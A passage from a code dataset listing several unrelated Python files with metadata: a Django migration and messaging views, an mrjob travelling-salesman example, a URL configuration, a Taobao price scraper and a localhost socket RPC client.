"usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 335, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 336, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 337, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 338, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 379, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 380, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 381, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 382, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 383, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 385, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 386, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 387, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 388, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 389, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 391, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 392, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 393, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 394, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 395, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 400, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 401, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 402, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 403, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 404, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 406, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 407, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 408, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 409, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 410, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 412, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 413, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 414, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 415, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 416, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 448, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 448, "usage_type": "call"}]} {"seq_id": "131201885", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('embarazos', '0006_auto_20150104_1159'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='fichaviolenciafamiliar',\n name='cefalea',\n field=models.NullBooleanField(default=None, verbose_name='Cefalea problemas de sue\\xf1o (mucho sue\\xf1o, interrupci\\xf3n del sue\\xf1o)'),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='fichaviolenciafamiliar',\n name='quejas_cronicas',\n field=models.NullBooleanField(default=None, verbose_name='Quejas cr\\xf3nicas sin causa f\\xedsica'),\n preserve_default=True,\n ),\n ]\n", "sub_path": "apps/embarazos/migrations/0007_auto_20150104_1258.py", "file_name": "0007_auto_20150104_1258.py", "file_ext": "py", "file_size_in_byte": 827, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.NullBooleanField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.NullBooleanField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}]} {"seq_id": "594923725", "text": "# Copyright 2011 Contributors (Jordan Andersen)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nA brute force Map/Reduce solution to the Travelling Salesman Problem. The\npurpose of this example is to demonstrate how to use Map/Reduce on\ncomputationally intense problems that involve a relatively small input.\n\nSee the Wikipedia article for details of the problem:\nhttp://en.wikipedia.org/wiki/Travelling_salesman_problem\n\nThe solution works by having each mapper find the longest/shortest tour in a\nchunk of the full range of the possible factorial(N-1) tours. (Where N is the\nnumber of nodes in the graph). The reducers then pick the winners from each\nmapper.\n\"\"\"\n__author__ = 'Jordan Andersen '\n\nfrom mrjob.job import MRJob\nfrom scipy.misc.common import factorial\nimport sys\nimport numpy\n\ntry:\n import simplejson as json\n json # quiet \"redefinition of unused ...\" warning from pyflakes\nexcept ImportError:\n import json\n\ndef map_int_to_tour(num_nodes, i, start_node):\n \"\"\"Gets a unique tour through a graph given an integer and starting node.\n\n Args:\n num_nodes -- the number of nodes in the graph being toured\n i -- the integer to be mapped to the set of tours for the graph\n start_node -- the node index to begin and end the tour on\n \"\"\"\n nodes_remaining = range(0,start_node) + range(start_node + 1, num_nodes)\n tour = []\n\n while len(nodes_remaining) > 0:\n num_nodes = len(nodes_remaining)\n next_step = nodes_remaining[i % num_nodes]\n nodes_remaining.remove(next_step)\n tour.append(next_step)\n i = i / num_nodes\n\n tour = [start_node] + tour + [start_node]\n return tour\n\ndef cost_tour(graph, tour):\n \"\"\"Calculates the travel cost of given tour through a given graph.\n\n Args:\n graph -- A square numpy.matrix representing the travel cost of each edge on\n the graph.\n tour -- A list of integers representing a tour through the graph where each\n entry is the index of a node on the graph.\n \"\"\"\n steps = zip(tour[0:-1], tour[1:])\n cost = sum([ graph[step_from,step_to] for step_from, step_to in steps])\n return cost\n\nclass MRSalesman(MRJob):\n\n def steps(self):\n \"\"\"Defines the two steps, which are as follows:\n\n 1. Mapper splits the problem into reasonable chunks by mapping each\n possible tour to the integers and assigning each Step 2 mapper a\n range of tours to cost.\n 2. The mapper takes a range of tours and a description of the trip and\n yields the longest and shortests tours. The reduces yields the\n longest of the long and the shortest of the short tours.\n\n Notice the first step has no reducer. This allows all of the keys put\n out by the first step to be inputs to step 2's mappers without having\n to be reduced.\n \"\"\"\n return ([self.mr(mapper=self.splitter),\n self.mr(mapper=self.mapper,\n reducer=self.reducer,\n mapper_final = self.mapper_final)]\n )\n\n def __init__(self, *args, **kwargs):\n \"\"\"Initializes an instance of the MRSalesman class. See MRJob for\n arguments.\n\n Some instance variables are initialized here that will be modified\n with while mapping in step 2 and output but the step 2 mapper_final.\n \"\"\"\n super(MRSalesman, self).__init__(*args, **kwargs)\n self.shortest_length = sys.maxint\n self.shortest_path = []\n self.longest_length = 0\n self.longest_path = []\n\n def splitter(self, key, line):\n \"\"\"The mapper for step 1. Splits the range of possible tours into\n reasonably sized chunks for the consumption of the step 2 mappers.\n\n At this point the 'line' input should come directly from the first line\n of the one-line json file contains the edge cost graph and the starting\n node. The key is not relevant.\n \"\"\"\n #loading the json description of the trip to get at the size\n #of the edge costgraph\n sales_trip = json.loads(line)\n m = numpy.matrix(sales_trip['graph'])\n num_nodes = m.shape[0]\n num_tours = factorial(num_nodes - 1)\n\n #Here we break down the full range of possible tours into smaller\n #pieces. Each piece is passed along as a key along with the trip\n #description.\n step_size = int(100 if num_tours < 100**2 else num_tours / 100)\n steps = range(0, num_tours, step_size) + [num_tours]\n ranges = zip(steps[0:-1], steps[1:])\n\n for range_low, range_high in ranges:\n #The key prepresents the range of tours to cost\n yield( (\"%d-%d\"%(range_low,range_high), sales_trip ))\n\n def mapper(self, key, sales_trip):\n \"\"\"Mapper for step 2. Finds the shortest and longest tours through a\n small range of all possible tours through the graph.\n\n At this step the key will contain a string describing the range of\n tours to cost. The sales_trip has the edge cost graph and the starting\n node in a dict.\n \"\"\"\n #This first line makes this function a generator function rather than a\n #normal function, which MRJob requires in its mapper functions. You need\n #to do this when all the output comes from the mapper_final.\n if False: yield\n matrix = numpy.matrix(sales_trip['graph'])\n num_nodes = matrix.shape[0]\n\n #The key prepresents the range of tours to cost\n range_low, range_high = map(int,key.split('-'))\n for i in range(range_low,range_high):\n\n tour = map_int_to_tour(num_nodes, i, sales_trip['start_node'])\n cost = cost_tour(matrix, tour)\n\n if cost < self.shortest_length:\n self.shortest_length = cost\n self.shortest_path = tour\n\n if cost > self.longest_length:\n self.longest_length = cost\n self.longest_path = tour\n\n def mapper_final(self):\n \"\"\"Mapper_final for step 2. Outputs winners found by mapper.\"\"\"\n yield ('shortest', (self.shortest_length, self.shortest_path))\n yield ('longest', (self.longest_length, self.longest_path))\n\n def reducer(self, key, winners):\n \"\"\"Reducer for Step 2. Takes the shortest and longest from several\n mappers and/or reducers and yields the overall winners in each category.\n\n The winners are a list of winners from several mappers OR reducers for\n the given key.\n\n Run this reducer enough and eventually you get to the final winner in\n each key/category.\n \"\"\"\n if key == \"shortest\":\n yield (key ,min(winners))\n if key == \"longest\":\n yield (key ,max(winners))\n\n\nif __name__ == '__main__':\n MRSalesman.run()\n\n\n", "sub_path": "mrjob/examples/mr_travelling_salesman/mr_travelling_salesman.py", "file_name": "mr_travelling_salesman.py", "file_ext": "py", "file_size_in_byte": 7351, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "mrjob.job.MRJob", "line_number": 75, "usage_type": "name"}, {"api_name": "sys.maxint", "line_number": 105, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 121, "usage_type": "call"}, {"api_name": "scipy.misc.common.factorial", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 148, "usage_type": "call"}]} {"seq_id": "634191723", "text": "from django.conf import settings\nfrom django.conf.urls import url\nfrom web.views import *\n\nfrom django.contrib.auth import views as auth_views\n\nurlpatterns = [\n url(r'^$', view=main_view, name=\"home\"),\n url(r'^group_list/(?P\\d+)$', group_list),\n url(r'^signup/$', regist, name='signup'),\n url(r'^search/$', search_view, name='search'),\n url(r'^mypage/$', mypage_view, name='mypage'),\n url(r'^group/$', group_view,name=\"group\"),\n url(r'^group/(?P\\d+)$', group_view,name=\"group\"),\n url(r'^detail/(?P\\d+)$', detail_view, name=\"detail\"),\n url(r'^add_study/$', add_study_view, name=\"add_study\"),\n url(r'^check_click/$', check_click, name=\"check_click\"),\n url(r'^group_manage/(?P\\d+)$', group_manage, name=\"group_manage\"),\n url(r'^regist_group/(?P\\d+)$', regist_group, name=\"regist_group\"),\n url(r'^add_member/(?P\\d+)$', add_member, name=\"add_member\"),\n url(r'^member_manage/(?P\\d+)$', member_manage, name=\"member_manage\"),\n\n url(r'^userpage_view/$', userpage_view, name=\"userpage_view\"),\n url(\n r'^login/$',\n view=auth_views.login,\n name='login',\n kwargs={\n 'template_name': 'login.html'\n }\n ),\n url(\n r'^logout/$',\n auth_views.logout,\n name='logout',\n kwargs={\n 'next_page': settings.LOGIN_URL,\n }\n ),\n\n]\n", "sub_path": "pot/web/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1383, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 19, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 20, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 23, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 24, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.login", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.views", "line_number": 26, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 32, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.logout", "line_number": 34, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.views", "line_number": 34, "usage_type": "name"}, {"api_name": "django.conf.settings.LOGIN_URL", "line_number": 37, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 37, "usage_type": "name"}]} {"seq_id": "47436673", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nAuthor : Jas\nTime : 2018/5/31 20:07\n\"\"\"\nimport requests\nimport re\n\n\ndef get_html_text(url):\n try:\n r = requests.get(url, timeout=30)\n r.raise_for_status()\n r.encoding = r.apparent_encoding\n\n return r.text\n except:\n return \"爬取数据失败\"\n\n\ndef parse_page(ls, html):\n try:\n price_pattern = re.compile(r'\\\"view_price\\\"\\:\\\"\\d+.\\d{2}\\\"')\n title_pattern = re.compile(r'\\\"raw_title\\\"\\:\\\".*?\\\"')\n\n price_ls = re.findall(price_pattern, html)\n title_ls = re.findall(title_pattern, html)\n\n for i in range(len(price_ls)):\n price = eval(price_ls[i].split(':')[1])\n title = eval(title_ls[i].split(':')[1])\n ls.append([price, title])\n except:\n print(\"\")\n\n\ndef print_goods_list(ls):\n tpls = \"{:8}\\t{:16}\"\n print(tpls.format(\"价格\", \"商品名称\"))\n\n for g in ls:\n print(tpls.format(g[0], g[1]))\n\n\ndef main():\n goods = \"电视\"\n url = \"https://s.taobao.com/search?q=\" + goods\n info_list = []\n\n for i in range(4):\n try:\n url = url + \"&s=\" + str((i*44))\n html = get_html_text(url)\n parse_page(info_list, html)\n except:\n print(\"\")\n\n print_goods_list(info_list)\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "taobao_goods.py", "file_name": "taobao_goods.py", "file_ext": "py", "file_size_in_byte": 1333, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "requests.get", "line_number": 12, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 23, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 24, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 26, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 27, "usage_type": "call"}]} {"seq_id": "639706297", "text": "\"\"\"掘金 单线程同步 rpc\n\"\"\"\n\n# coding: utf-8\n# client.py\n\nimport json\nimport time\nimport struct\nimport socket\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\nlogger = logging.getLogger(\"server\")\n\n\nclass Client(object):\n def __init__(self, host: str, port: int):\n self.host = host\n self.port = port\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((\"localhost\", 8080))\n self.conn = s\n\n def run(self, conn_num: int):\n for i in range(conn_num):\n out, result = self.rpc(\"ping\", f\"ireader {i}\")\n logger.info(f\"out: {out}, ret:{result}\")\n time.sleep(1)\n # 完成任务之后连接关闭\n self.conn.close()\n\n def rpc(self, action, params):\n request = json.dumps({\"action\": action, \"params\": params}).encode(\"utf-8\")\n length_prefix = struct.pack(\"I\", len(request))\n self.conn.sendall(length_prefix)\n self.conn.sendall(request)\n length_prefix = self.conn.recv(4)\n length, = struct.unpack(\"I\", length_prefix)\n body = self.conn.recv(length)\n response = json.loads(body)\n return response[\"out\"], response[\"result\"]\n\n\nif __name__ == '__main__':\n client = Client(\"127.0.0.1\", 8080)\n client.run(10)\n\n", "sub_path": "06_single_sync/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 1348, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.basicConfig", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 13, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 22, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 22, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 22, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 30, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 35, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 36, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 40, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 42, "usage_type": "call"}]} {"seq_id": "70538086", "text": "# -*- coding: utf-8 -*-\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.contrib.auth.decorators import login_required\nfrom django.db import transaction\n\t\n@transaction.commit_on_success\t\n@login_required\ndef sendPrivateMessage(request):\n\tfrom ask.message.forms import MessageForm\n\tfrom ask.models import PrivateMessage\n\t\n\tdata = {}\n\t\n\tif request.POST:\n\t\tform = MessageForm(user=request.user, data=request.POST)\n\t\tif not request.POST.get(\"anonymous\"):\n\t\t\tanonymousCheck = False\n\t\telse:\n\t\t\tanonymousCheck = True\n\t\tsubject = request.POST.get(\"subject\")\n\t\tcontent = request.POST.get(\"content\")\n\t\tif form.is_valid():\n\t\t\tfrom ask.models import AppUser, BlockedUserHistory, FilteredWord\n\t\t\tfrom django.core.urlresolvers import reverse\n\t\t\tfrom django.shortcuts import HttpResponseRedirect\n\t\t\tfrom django.utils.html import strip_tags\n\t\t\t\n\t\t\treceiver = form.cleaned_data.get(\"receiver\")\n\t\t\tanonymous = form.cleaned_data.get(\"anonymous\")\t\t\n\t\t\t\n\t\t\treceiverUser = AppUser.objects.get(id=receiver)\n\t\t\t\n\t\t\tpm = PrivateMessage()\n\t\t\t\n\t\t\tpm.anonymous = anonymous\n\t\t\tpm.receiver = receiverUser\n\t\t\tpm.subject = subject\n\t\t\tpm.content = strip_tags(content)\t\t\t\t\t\n\t\t\tpm.user = request.user\n\t\t\tpm.receiver_anonymous = False\n\t\t\t\n\t\t\tif anonymous:\n\t\t\t\tbuhs = BlockedUserHistory.objects.filter(user=receiverUser,anonymous=pm.receiver_anonymous,blocked_user=pm.user,blocked_user_anonymous=True,active=True)\n\t\t\t\tbuhs_count = buhs.count()\n\t\t\telse:\n\t\t\t\tbuhs = BlockedUserHistory.objects.filter(user=receiverUser,blocked_user=pm.user,blocked_user_anonymous=False,active=True)\n\t\t\t\tbuhs_count = buhs.count()\n\t\t\t\tif buhs_count > 0:\n\t\t\t\t\tpm.blocked = True\t\t\n\t\t\t\n\t\t\tif pm.passesFilter(buhs_count):\n\t\t\t\tfrom django.db.models import F\n\t\t\t\tpm.filtered = False\n\t\t\t\tpm.receiver.unreaded_messages = F('unreaded_messages') + 1\n\t\t\t\tpm.receiver.save()\n\t\t\telse:\n\t\t\t\tpm.filtered = True\t\n\t\t\t\t\n\t\t\t\t\n\t\t\tpm.save()\n\t\t\t\n\t\t\treturn HttpResponseRedirect(reverse(\"user_message_inbox_view\")+\"?filtro=Enviados&status=3\") \n\t\telse:\n\t\t\tdata[\"status\"] = \"Datos inválidos\"\n\t\t\t\n\t\tdata[\"subject\"] = subject\n\t\tdata[\"content\"] = content\n\t\t\n\telse:\n\t\tanonymousCheck = request.user.configuration.message_anonymous_default\n\t\tform = MessageForm()\n\t\n\tdata[\"anonymous\"] = anonymousCheck\n\tdata[\"form\"]= form\n\treturn render_to_response(\"message/send-private-message.html\",data,context_instance = RequestContext(request))\n\n@transaction.commit_on_success\t\n@login_required\ndef messageInbox(request):\t\n\tfrom ask.models import PrivateMessage, Denounce\n\t\n\tdata = {}\n\tpms = PrivateMessage.objects\n\t\n\tdata[\"status\"] = request.GET.get(\"status\")\n\t\n\t#Filters\n\tfilter = request.GET.get(\"filtro\")\n\tif filter:\n\t\tfilter = filter.lower()\n\t\tif filter != 'recibidos' and filter != 'enviados' and filter !='no-deseados':\n\t\t\tfilter = 'recibidos'\n\telse:\n\t\tfilter = 'recibidos'\n\t\n\tif filter == 'recibidos':\n\t\t#get only received messages\n\t\tpms = PrivateMessage.objects.filter(receiver=request.user,receiver_deleted=False,filtered=False)\n\t\tdata['title'] = 'Mensajes Recibidos'\n\telif filter == 'enviados':\n\t\t#get only sended messages\n\t\tpms = PrivateMessage.objects.filter(user=request.user,deleted=False)\n\t\tdata['title'] = 'Mensajes Enviados'\n\telif filter == 'no-deseados':\n\t\t#get only received filtered messages\n\t\tpms = PrivateMessage.objects.filter(receiver=request.user,receiver_deleted=False,filtered=True)\n\t\tdata['title'] = 'No deseados / Spam'\n\tdata['filter'] = filter\n\t\n\t#Aside search\n\tsearchUser = request.GET.get(\"usuario\")\n\tsearchAnonymous = request.GET.get(\"anonymous\")\n\tif searchAnonymous is not None and searchAnonymous == \"on\":\n\t\tdata[\"anonymous\"] = True\n\t\tif filter == 'recibidos':\n\t\t\t#get only received from anonymous messages\n\t\t\tpms = pms.filter(anonymous=True)\n\t\telif filter == 'enviados':\n\t\t\t#get only sended to anonymous messages\n\t\t\tpms = pms.filter(receiver_anonymous=True)\n\telse:\n\t\tif searchUser is not None and searchUser != \"\" and len(searchUser) < 21:\n\t\t\ttry:\t\t\t\n\t\t\t\tif filter == 'recibidos':\n\t\t\t\t\t#get only received from searched user messages\n\t\t\t\t\tpms = pms.filter(user__nick__icontains=searchUser,anonymous=False)\n\t\t\t\telif filter == 'enviados':\n\t\t\t\t\t#get only sended to searched user messages\n\t\t\t\t\tpms = pms.filter(receiver__nick__icontains=searchUser,receiver_anonymous=False)\n\t\t\t\tdata[\"searchUser\"] = searchUser\n\t\t\texcept:\n\t\t\t\tsearchUser = None\n\t\telse:\n\t\t\tsearchUser = None\t\t\n\tsearchSubject = request.GET.get(\"asunto\")\n\tif searchSubject is not None and searchSubject != \"\" and len(searchSubject) < 71:\n\t\ttry:\n\t\t\t#get only subject searched messages\n\t\t\tpms = pms.filter(subject__icontains=searchSubject)\n\t\t\tdata[\"searchSubject\"] = searchSubject\n\t\texcept:\n\t\t\tsearchSubject = None\n\telse:\n\t\tsearchSubject = None\n\t\t\n\tdata[\"messages\"] = pms.order_by(\"-date\")\n\t#delete messages\n\tif request.POST:\n\t\terror = False\n\t\t\n\t\t#view validation\n\t\tmessage_ids = request.POST.getlist(\"message_ids\")\n\t\tmessage_id = request.POST.get(\"message_id\")\n\t\t\n\t\t#many ids case\n\t\tif message_ids is not None and len(message_ids) > 0:\n\t\t\tif len(message_ids) == 1:\n\t\t\t\tmessage_id = message_ids[0]\n\t\t\telse:\n\t\t\t\tdata[\"status\"] = \"Mensajes Eliminados\"\n\t\t\t\ttry:\n\t\t\t\t\tpms = PrivateMessage.objects.filter(id__in=message_ids)\n\t\t\t\t\tfor pm in pms:\n\t\t\t\t\t\tif not pm.delete_message(request.user):\n\t\t\t\t\t\t\terror = True\n\t\t\t\t\t\t\tdata[\"status\"] = \"Error de validación1\"\n\t\t\t\t\t\t\tbreak\n\t\t\t\texcept:\n\t\t\t\t\terror = True\n\t\t\t\t\tdata[\"status\"] = \"Error de validación\"\t\t\n\t\telse:\n\t\t\tdata[\"status\"] = \"Error de validación\"\t\n\t\t\t\n\t\t#only one id case\n\t\tif message_id is not None and message_id != \"\":\n\t\t\tdata[\"status\"] = \"Mensaje Eliminado\"\n\t\t\ttry:\n\t\t\t\tpm = PrivateMessage.objects.get(id=message_id)\n\t\t\t\tif not pm.delete_message(request.user):\n\t\t\t\t\terror = True\n\t\t\t\t\tdata[\"status\"] = \"Error de validación\"\n\t\t\texcept:\n\t\t\t\terror = True\n\t\t\t\tdata[\"status\"] = \"Error de validación\"\t\t\n\t\t\t\n\t\tif error:\n\t\t\ttransaction.rollback()\n\t\n\tdata[\"message_entity\"] = Denounce.MESSAGE\n\t\n\treturn render_to_response(\"message/message-inbox.html\",data,context_instance = RequestContext(request))\n\t\n@transaction.commit_on_success\t\n@login_required\ndef readMessage(request,message_id):\t\n\tfrom ask.models import PrivateMessage,Denounce\n\tfrom django.shortcuts import HttpResponseRedirect\n\t\t\n\tdata = {}\n\t\n\tmessage = PrivateMessage.objects.get(id=message_id)\n\t\n\tif message.user == request.user or message.receiver == request.user:\n\t\tfrom ask.message.forms import ReplyMessageForm\n\t\t\n\t\tif request.POST:\n\t\t\n\t\t\tuser_deleted = False\n\t\t\tif message.receiver == request.user and message.user.deleted:\n\t\t\t\tuser_deleted = True\n\t\t\t\tif not message.anonymous:\n\t\t\t\t\tdata[\"status\"] = \"El usuario al que quieres enviar el mensaje ya no existe\"\n\t\t\t\t#if message user is anonymous its send the message anyway to hide his identity\n\t\t\t\t#both cases mark new message receiver deleted as true to delete message when new message user delete it\n\t\t\telse:\n\t\t\t\tform = ReplyMessageForm(request.POST)\n\t\t\t\t\n\t\t\t\tcontent = request.POST.get(\"content\")\n\t\t\t\t\n\t\t\t\tsubject = request.POST.get(\"subject\")\n\t\t\t\t\n\t\t\t\tif form.is_valid():\n\t\t\t\t\tfrom django.shortcuts import HttpResponseRedirect\n\t\t\t\t\tfrom django.core.urlresolvers import reverse\n\t\t\t\t\tfrom ask.models import BlockedUserHistory\n\t\t\t\t\tfrom django.utils.html import strip_tags\n\t\t\t\t\t\t\t\t\n\t\t\t\t\tif message.user == request.user:\n\t\t\t\t\t\tuser = message.user\n\t\t\t\t\t\treceiver = message.receiver\n\t\t\t\t\t\tanonymous = False\n\t\t\t\t\t\tif message.anonymous:\n\t\t\t\t\t\t\tanonymous = True\n\t\t\t\t\t\treceiver_anonymous = False\t\n\t\t\t\t\t\tif message.receiver_anonymous:\n\t\t\t\t\t\t\treceiver_anonymous = True\t\t\t\t\t\t\n\t\t\t\t\telse:\n\t\t\t\t\t\tuser = message.receiver\n\t\t\t\t\t\treceiver = message.user\n\t\t\t\t\t\tanonymous = False\n\t\t\t\t\t\tif message.receiver_anonymous:\n\t\t\t\t\t\t\tanonymous = True\t\t\t\t\t\t\n\t\t\t\t\t\treceiver_anonymous = False\n\t\t\t\t\t\tif message.anonymous:\n\t\t\t\t\t\t\treceiver_anonymous = True\n\t\t\t\t\t\n\t\t\t\t\tnewmsg = PrivateMessage()\t\t\t\t\t\n\t\t\t\t\tnewmsg.content = strip_tags(content)\n\t\t\t\t\tnewmsg.receiver = receiver\n\t\t\t\t\tnewmsg.user = user\n\t\t\t\t\tnewmsg.anonymous = anonymous\n\t\t\t\t\tnewmsg.receiver_anonymous = receiver_anonymous\n\t\t\t\t\tnewmsg.subject = subject\n\t\t\t\t\t\n\t\t\t\t\tif anonymous:\n\t\t\t\t\t\tbuhs = BlockedUserHistory.objects.filter(user=receiver,anonymous=receiver_anonymous,blocked_user=user,blocked_user_anonymous=True,active=True)\n\t\t\t\t\t\tbuhs_count = buhs.count()\n\t\t\t\t\telse:\n\t\t\t\t\t\tbuhs = BlockedUserHistory.objects.filter(user=receiver,blocked_user=user,blocked_user_anonymous=False,active=True)\n\t\t\t\t\t\tbuhs_count = buhs.count()\n\t\t\t\t\t\tif buhs_count > 0:\n\t\t\t\t\t\t\tnewmsg.blocked = True\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\tif newmsg.passesFilter(buhs_count):\n\t\t\t\t\t\tfrom django.db.models import F\n\t\t\t\t\t\tnewmsg.filtered = False\n\t\t\t\t\t\tnewmsg.receiver.unreaded_messages = F('unreaded_messages') + 1\n\t\t\t\t\t\tnewmsg.receiver.save()\n\t\t\t\t\telse:\n\t\t\t\t\t\tnewmsg.filtered = True\n\t\t\t\t\t\n\t\t\t\t\tif user_deleted:\n\t\t\t\t\t\tnewmsg.receiver_deleted = True\n\t\t\t\t\t\n\t\t\t\t\tnewmsg.save()\n\t\t\t\t\n\t\t\t\t\treturn HttpResponseRedirect(reverse(\"user_message_inbox_view\")+\"?filtro=Enviados&status=3\")\t\t\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tdata[\"replyMessage\"] = content\n\t\t\t\t\tdata['subject'] = subject\n\t\t\t\t\tdata[\"status\"] = \"Error de validación\"\t\t\n\t\telse:\n\t\t\timport re\n\t\t\tsubject = message.subject\n\t\t\tif re.match(\"RE: \",subject) is None:\n\t\t\t\tsubject = \"RE: \"+subject\n\t\t\tdata['subject'] = subject\n\t\t\t\n\t\t\tform = ReplyMessageForm()\n\t\t\tif message.receiver == request.user:\n\t\t\t\tif not message.receiver_readed_message:\n\t\t\t\t\tif not message.filtered:\n\t\t\t\t\t\trequest.user.unreaded_messages = request.user.unreaded_messages - 1\n\t\t\t\t\t\trequest.user.save()\n\t\t\t\t\tmessage.receiver_readed_message = True\n\t\t\t\t\tmessage.save()\n\t\t\n\t\tdata[\"message\"] = message\n\t\tdata[\"form\"] = form\n\t\t\n\t\tdata[\"message_entity\"] = Denounce.MESSAGE\n\t\t\n\t\treturn 